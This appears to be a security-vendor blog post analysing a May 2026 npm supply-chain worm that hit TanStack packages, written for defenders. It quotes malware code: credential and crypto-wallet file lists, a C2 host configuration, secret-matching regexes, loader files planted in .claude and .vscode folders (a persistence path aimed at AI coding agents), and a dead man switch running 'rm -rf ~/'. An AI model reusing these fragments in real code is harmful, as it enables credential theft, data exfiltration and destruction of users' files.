Affected Akamai Hunt customers have already received a detailed mapping of vulnerable assets with actionable segmentation and mitigation recommendations.
Executive summary
On May 11, 2026, a new wave of the Shai-Hulud supply chain campaign hit the npm ecosystem by publishing malicious versions of packages across the TanStack dependency tree.
The attack was performed by hijacking legitimate release workflow through a continuous integration (CI) cache-poisoning attack and npm’s OpenID Connect (OIDC) publishing endpoint.
The campaign quickly expanded beyond TanStack to additional npm packages linked to Mistral AI, UiPath, OpenSearch, and others.
The next day, new GitHub repositories appeared to be hosting the source code of the malicious Shai-Hulud worm.
In this blog post, we analyze the newly released malware, examine how this attack wave differs from earlier waves, and provide mitigation recommendations for maintainers and organizations.
On May 11, 2026, TeamPCP continued its ongoing supply chain campaign by introducing a new payload in the form of a shai-hulud variant. In our previous blog post on this topic, we noted that the ransomware group Vect had announced a partnership with TeamPCP, hinting at a possible shift from credential theft toward large-scale extortion and ransomware operations.
This new campaign offers the first concrete signal that this shift may already be underway.
Earlier waves of the Shai-Hulud worm
The Shai-Hulud worm first appeared in September 2025. Its core mechanism was straightforward: Steal an npm publish token, enumerate every package that token could reach, inject malicious code, and republish.
Following its debut, Shai-Hulud remained active through the end of the year, re-emerging in November and December 2025 with updated data-wiping functionality.
The new wave includes CI cache poisoning and OIDC abuse
Every previous wave began with a stolen credential. This one did not.
TeamPCP, the threat actor behind the Trivy breach in March 2026 and several subsequent operations, has claimed authorship of this new wave, which they call Mini Shai-Hulud.
For this new wave, the attackers exploited a pull request workflow misconfiguration in TanStack's GitHub Actions CI. A pull request from a fork triggered a workflow with write access to the base repository's cache. The attacker's code poisoned that cache and waited.
Eight hours later, a legitimate maintainer merge triggered the standard release workflow, which pulled the poisoned cache and executed the attacker's code.
Invisibly scraping tokens
The attacker's worm then scraped tokens directly from the GitHub Actions runner's memory and exchanged them for npm publish credentials through npm's own token exchange endpoint. No npm tokens were “stolen” and the publish workflow itself did not seem to be compromised, making the attack invisible and granting it SLSA attestation validation.
Another crucial change is that now the payload creates a background daemon that uses the stolen token from the initial access. If the token is revoked, the daemon immediately wipes the victim’s entire home directory.
Targeting coding agents
Malware persistence was also extended to include Claude Code session hooks and VS Code task automation, both of which survive an “npm uninstall” operation.
The worm itself hasn’t changed — once the worm obtains valid credentials, it enumerates every package that it identifies and tries to inject itself into those packages.
The campaign goes public
On the evening of May 12, 2026, the fully weaponized worm code was publicly released. Although we can’t know for certain that this is identical to the malware that hit TanStack; nevertheless, the full malicious payload is now available to anyone.
Malware breakdown: The main loop
The worm main loop is not very big, with only a handful of phases, but meticulous care was taken on every phase, including:
Phase 0 — Preflight checks
Phase 1 — Quick wins
Phase 2 — Command and control (C2) communication
Phase 3 — Harvesting platform credentials
Phase 4 — The continuous spread
The main loop looks something like this:
main()
└── preflight()
└── setupQuickResults()
└── C2 / Dispatcher setup
└── collector.ingest(...)
└── collector.run(providers)
└── ReadmeUpdater / spread
└── collector.finalize()
Phase 0 — Preflight checks
The malware begins by checking whether it is running in the context of the opensearch-js package. If so, it attempts to inject a backdoor into the package, trigger its OIDC client, steal credentials immediately, and forge its SLSA signature.
Next, the malware checks whether the system language is set to Russian. If it is, the malware exits.
It then completes its preflight checks by ensuring that it is the only running instance, confirming that it is executing inside a CI/CD environment, and preventing termination through SIGINT or SIGTERM.
Phase 1 — Quick wins
In this phase, the malware attempts to quickly collect as many credentials as possible from the endpoint. It does so by reading more than 1,000 known credential locations, attempting to run gh auth token, and capturing process.env to steal credentials from environment variables.
LINUX:[
…
scramble("~/.ssh/known_hosts"),
scramble("~/.terraform.d/credentials.tfrc.json"),
scramble("/var/lib/docker/containers/*/config.v2.json"),
scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
scramble("~/.viminfo"),
scramble("**/wp-config.php"),
scramble("~/.yarnrc"),
scramble("~/.zcash/wallet.dat"),
scramble("~/.zsh_history"),
]
WIN: [
".env",
"config.ini",
scramble("%APPDATA%\\NordVPN\\NordVPN.exe.Config"),
scramble("%APPDATA%\\OpenVPN Connect\\profiles\\*"),
scramble("%PROGRAMDATA%\OpenVPN\config\*"),
scramble("%APPDATA%\\ProtonVPN\\user.config"),
scramble("%APPDATA%\\CyberGhost\\CG6\\CyberGhost.dat"),
scramble("%APPDATA%\\Private Internet Access\*.conf"),
scramble("%APPDATA%\\Windscribe\\Windscribe\*"),
scramble("C:\\Program Files\\OpenVPN\\config\\*.ovpn"),
scramble("%USERPROFILE%\\OpenVPN\\config\\*.ovpn"),
scramble("%APPDATA\%\EarthVPN\\OpenVPN\\config\\*.ovpn"),
],
OSX: [
scramble("~/.ansible/*"),
scramble("~/.aws/config"),
scramble("~/.aws/credentials"),
scramble("~/.azure/accessTokens.json"),
scramble("~/.azure/msal_token_cache.*"),
scramble("~/.bash_history"),
scramble("~/.bitcoin/wallet.dat"),
Phase 2 — Command and control (C2) communication
The worm then sets up C2 communication with its main server:
const dest: SenderDestination = {
domain: scramble("git-tanstack.com"),
port: 443,
path: scramble("router"),
dry_run: false,
};
Using its main dispatcher function, the worm encrypts all stolen data with a hardcoded RSA public key before transmission. This ensures that only the attacker can read the exfiltrated data. The code also urges future operators to replace this key.
The malware first attempts to contact its primary C2 server. If that communication is blocked, it returns to creating a new GitHub repository under the victim’s own account and committing the encrypted data there. The attacker can then monitor GitHub for these repositories using their distinctive description.
Once the encrypted data reaches 100 KB, exfiltration begins.
Phase 3 — Harvesting platform credentials
After setup is complete, the malware begins more aggressive credential harvesting from platforms such as AWS, Kubernetes, GitHub, and others.
For example, in Kubernetes environments, the worm attempts to iterate over many different locations and secrets using regular expressions:
constructor() {
super("kubernetes", "secrets", {
ghtoken: /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
npmtoken: /npm_[A-Za-z0-9_\-\.]{36,}/g,
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
awskey:
…
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
kubeconfig: /[A-Za-z0-9+/=]{20,}/g,
secret:
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
});
}
private isInCluster(): boolean {
return !!process.env.KUBERNETES_SERVICE_HOST;
}
private async getCA(): Promise<Buffer | null> {
const caPath = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt";
In AWS-related collection, some of the locations the worm searches include:
~/.aws/credentials
~/.aws/config
~/.azure/accessTokens.json
~/.azure/msal_token_cache.*
~/.config/gcloud/credentials.db
access_tokens.db
application_default_credentials.json
~/.terraform.d/credentials.tfrc.json
Once collection is complete, the malware sends the collected data through its C2 channel and continues spreading to other repositories.
One notable non–framework-related behavior is that the malware also searches for bitcoin wallets, specifically targeting ~/.bitcoin/wallet.dat.
Phase 4 — The continuous spread
To spread further, the worm uses each valid GitHub token it finds to create a workflow that steals additional secrets and continues the infection chain.
If no workflow token is found, the worm spreads by iterating over every GitHub branch it discovers and inserting malicious files, including a loader and the worm binary, into AI agent–related folders such as .claude and .vscode:
const FILE_UPDATES: FileSourceMap = {
".vscode/tasks.json": task,
[`.claude/${SCRIPT_NAME}`]: { sourcePath: Bun.main },
".claude/settings.json": claude_settings,
".claude/setup.mjs": config,
".vscode/setup.mjs": config,
};
If the worm finds NPM tokens, it starts its NPMClient and copies the malware into packages/opensearch_init.js.
The malware uses a similar spreading chain for OIDC tokens.
Malware breakdown: The dead man switch
In addition to the main loop, one of the most prominent parts of the malware is its dead man switch. Once every 60 seconds, the malware checks whether tokens have been rotated. If they have, the worm attempts to delete files from the machine:
logUtil.log("About to add monitor!");
await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));
Although there are several other aspects and layers of code we have not covered here, we believe the behavior we have described is enough to demonstrate the attackers’ sophistication and intent.
Detection and mitigation
To keep your organization protected, we recommend that you immediately consult with a security professional and take the following actions:
Downgrade infected packages to safe versions
Reduce the blast radius from affected hosts via network segmentation
Looking ahead
This campaign marks another escalation point in TeamPCP’s ongoing operation. For eight months, the group has run a methodical and technically sophisticated credential theft campaign, focused on harvesting secrets, abusing developer workflows, and expanding access across software supply chain environments.
This latest variant shows continued investment in automation, credential harvesting, and propagation across repositories, packages, and developer tooling. The campaign also appears at a notable time; that is, following TeamPCP’s announced partnership with Vect.
With the worm now public and the toolchain available to other operators, the concern is no longer limited to TeamPCP alone. The same techniques can now be studied, adapted, and reused by additional threat actors.
Stay tuned
The Akamai Security Intelligence Group will continue to monitor, report on, and create mitigations for threats such as these for both our customers and the security community at large. To keep up with more breaking news from the Akamai Security Intelligence Group, check out our research home page and follow us on social media.
Tags